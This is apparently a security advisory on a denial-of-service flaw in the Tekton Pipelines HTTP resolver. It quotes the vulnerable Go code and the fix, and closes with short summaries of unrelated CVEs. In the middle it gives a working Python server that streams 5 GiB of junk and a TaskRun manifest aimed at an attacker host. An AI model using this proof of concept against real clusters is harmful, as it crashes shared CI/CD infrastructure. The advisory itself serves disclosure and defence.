Apr 21, 2026·6 min read·22 visits
Tekton Pipelines < 1.11.1 suffers from a Denial of Service vulnerability due to unbounded memory allocation in the HTTP resolver. Attackers with permission to create TaskRuns can crash the resolver pod by pointing it to a malicious server that streams an excessively large response.
An uncontrolled resource consumption vulnerability exists in the HTTP resolver component of Tekton Pipelines prior to version 1.11.1. The flaw allows an authenticated attacker to trigger an out-of-memory (OOM) condition by returning an arbitrarily large HTTP response body during pipeline resolution, resulting in a denial of service for all resolution tasks within the Kubernetes cluster.
Tekton Pipelines relies on a unified resolution component to fetch tasks and pipelines from external sources. The tekton-pipelines-resolvers pod handles requests for Git repositories, Artifact Hub, bundles, cluster-local resources, and raw HTTP endpoints. This consolidated architecture means that a failure in one resolver type affects the availability of all others.
The vulnerability exists in the HTTP resolver implementation, specifically within the FetchHttpResource function. This function is responsible for retrieving pipeline definitions from external HTTP servers. When a user submits a TaskRun or PipelineRun referencing an HTTP resolver, the controller delegates the fetch operation to this component.
The core issue is a CWE-400 (Uncontrolled Resource Consumption) flaw caused by unbounded memory allocation. The resolver does not enforce a maximum size limit on the HTTP response body it receives from the remote server. An attacker can exploit this by directing the resolver to a malicious endpoint that serves an endlessly streaming or excessively large payload.
The Go standard library provides the io.ReadAll function to read data from an io.Reader until an end-of-file (EOF) condition is met. This function allocates a byte slice and continuously appends data to it. If the source provides a large amount of data without terminating, io.ReadAll will consume memory proportionally until the process encounters an allocation failure or is terminated by the operating system.
In the FetchHttpResource function, the HTTP response body (resp.Body) is passed directly to io.ReadAll. The code makes no attempt to verify the Content-Length header, nor does it enforce a hard limit on the number of bytes read. While the HTTP client uses a default timeout of one minute, a fast network connection allows an attacker to stream gigabytes of data within this window.
Kubernetes enforces resource quotas on containers using cgroups. By default, the controller container within the resolvers deployment is allocated 4 GiB of memory. When the io.ReadAll allocation exceeds this limit, the node's kernel invokes the Out-Of-Memory (OOM) killer, immediately terminating the process and causing the pod to enter a CrashLoopBackOff state.
The vulnerable implementation is located in pkg/resolution/resolver/http/resolver.go and its counterpart in the remoteresolution package. The code executes an HTTP GET request and attempts to read the entire response into a byte slice before returning it to the caller.
func FetchHttpResource(ctx context.Context, params map[string]string,
kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {
httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute
// ...
resp, err := httpClient.Do(req)
// ...
defer func() { _ = resp.Body.Close() }()
body, err := io.ReadAll(resp.Body) // <--- CRITICAL: Unbounded read
if err != nil {
return nil, fmt.Errorf("error reading response body: %w", err)
}
// ...
}The remediation introduces an io.LimitReader to enforce a strict boundary on the amount of data processed. The limit is typically set to a sensible maximum for pipeline definitions, such as 50 MiB. By passing the LimitReader to io.ReadAll, the read operation will artificially trigger an EOF once the limit is reached.
const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB limit
// Wrap the response body with a limit
limitedReader := io.LimitReader(resp.Body, maxBytes + 1)
body, err := io.ReadAll(limitedReader)
if int64(len(body)) > maxBytes {
return nil, fmt.Errorf("response body exceeds maximum allowed size")
}This fix successfully prevents memory exhaustion. The code reads up to maxBytes + 1. If the final slice length exceeds maxBytes, it confirms the remote server attempted to send more data than allowed, and the function returns an explicit error without crashing the process.
Exploiting this vulnerability requires the ability to create TaskRun or PipelineRun resources within the Kubernetes cluster. The attacker must also control an HTTP server accessible by the tekton-pipelines-resolvers pod. The malicious server is configured to accept incoming requests and immediately begin streaming a massive payload of junk data.
The following Python script demonstrates a minimal proof-of-concept server. It ignores the client's headers and continuously writes 1 MiB chunks to the socket. The payload totals 5 GiB, which reliably exceeds the standard 4 GiB container limit.
import http.server, socketserver
class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.end_headers()
# Stream 5 GB at full speed
chunk = b"X" * (1024 * 1024) # 1 MiB chunk
for _ in range(5120): # 5120 * 1 MiB = 5 GiB
self.wfile.write(chunk)
def log_message(self, *args):
pass
with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
print("Serving malicious payload on port 8080...")
httpd.serve_forever()The attacker triggers the payload by submitting a TaskRun manifest that points the HTTP resolver to the malicious server. Once the Kubernetes API accepts the resource, the Tekton controller dispatches the resolution request. The pod will consume memory rapidly until the kernel terminates it.
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
name: dos-poc-attack
spec:
taskRef:
resolver: http
params:
- name: url
value: http://attacker-server.internal:8080/large-payloadThe immediate consequence of exploitation is the termination of the tekton-pipelines-resolvers pod via the Kubernetes OOM-killer. Because this single pod handles all resolution strategies (Git, Hub, Bundle, Cluster, and HTTP), its failure completely halts the pipeline execution engine. No new TaskRun or PipelineRun resources can be initialized while the resolver is offline.
While Kubernetes will automatically attempt to restart the crashed pod, the attacker can maintain a sustained denial of service state. By submitting the malicious TaskRun repeatedly, or by relying on the controller's automated retry mechanisms, the pod will be forced into a CrashLoopBackOff state. This prevents the system from recovering without manual intervention to delete the offending resources.
The vulnerability is isolated to availability. The attacker does not gain code execution capabilities, nor can they access sensitive data or alter pipeline execution flows. The CVSS 3.1 base score reflects this specific impact profile, rating the vulnerability as 6.5 (Medium).
The official resolution requires upgrading the Tekton Pipelines installation to version 1.11.1 or later. This release introduces the io.LimitReader implementation across all HTTP resolution paths, effectively neutralizing the memory exhaustion vector. Administrators should verify the deployment version by inspecting the image tags on the tekton-pipelines-resolvers deployment.
If immediate patching is not feasible, administrators can apply mitigation strategies using Kubernetes Network Policies. By restricting the egress traffic of the tekton-pipelines-resolvers pod, organizations can prevent it from connecting to untrusted external endpoints or internal attacker-controlled services. Egress rules should strictly whitelist only approved Git repositories, artifact registries, and trusted HTTP servers.
Additionally, access control reviews should be conducted. The ability to create TaskRun and PipelineRun resources should be limited to trusted users and automated CI/CD service accounts. Restricting namespace access reduces the pool of potential internal attackers who can trigger the vulnerability.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Tekton Pipelines Tekton | < 1.11.1 | 1.11.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| Attack Vector | Network |
| CVSS Score | 6.5 |
| Impact | High Availability (DoS) |
| Exploit Status | Proof of Concept available |
| Authentication Required | Low (Permission to create resources) |
Uncontrolled Resource Consumption
Multiple cross-site request forgery (CSRF) vulnerabilities in the HTTP Administration component in Cisco IOS 12.4 on the 871 Integrated Services Router allow remote attackers to execute arbitrary commands via crafted HTTP requests. This occurs because the web administrative server fails to validate request origins or use anti-CSRF tokens, allowing an attacker to abuse an active administrative session.
An unbounded resource allocation vulnerability exists in Guzzle's cookie parsing and storage engine. Prior to version 7.15.1, Guzzle did not restrict the number or size of cookies stored within the client-side CookieJar. This lack of boundary control allows a malicious server or an intermediary proxy to poison the cookie storage with oversized or excessive Set-Cookie headers. When the client subsequently targets sibling domains or legitimate services using the same cookie jar, it transmits exceptionally large Cookie headers, triggering upstream protocol violations and resulting in Denial of Service (HTTP 431 / HTTP 400 rejection).
An information disclosure vulnerability in guzzlehttp/guzzle allows host-only cookies to be incorrectly matched and sent to subdomains. Because Guzzle failed to track whether cookies were defined without a Domain attribute, it evaluated host-only cookies using standard domain-suffix rules, widening their scope and exposing sensitive session tokens to untrusted subdomains.
An issue in Guzzle's RedirectMiddleware allows client-side URI fragments to be leaked over the network in Referer headers during same-scheme HTTP redirects.
A security feature bypass vulnerability exists in the .NET runtime's SslStream component. The flaw is caused by a state synchronization mismatch during Transport Layer Security (TLS) renegotiation or Post-Handshake Authentication (PHA). When renegotiation with a client fails due to an invalid or missing client certificate, the managed SslStream wrapper fails to invalidate its previously cached authentication properties. Consequently, downstream application logic continues to authorize requests under the context of the original valid identity, leading to incorrect authorization and authentication bypass.
Guzzle HTTP Client prior to version 7.12.3 contains a logical flaw in its CookieJar component. The client fails to properly validate the host types of stored cookie domain attributes before applying standard suffix-matching logic. As a consequence, sensitive session cookies scoped to an IP address (e.g., 192.168.0.1) can be leaked to malicious, look-alike hostnames (e.g., evil.192.168.0.1). This vulnerability permits cross-host cookie disclosure, cookie injection, and session fixation attacks.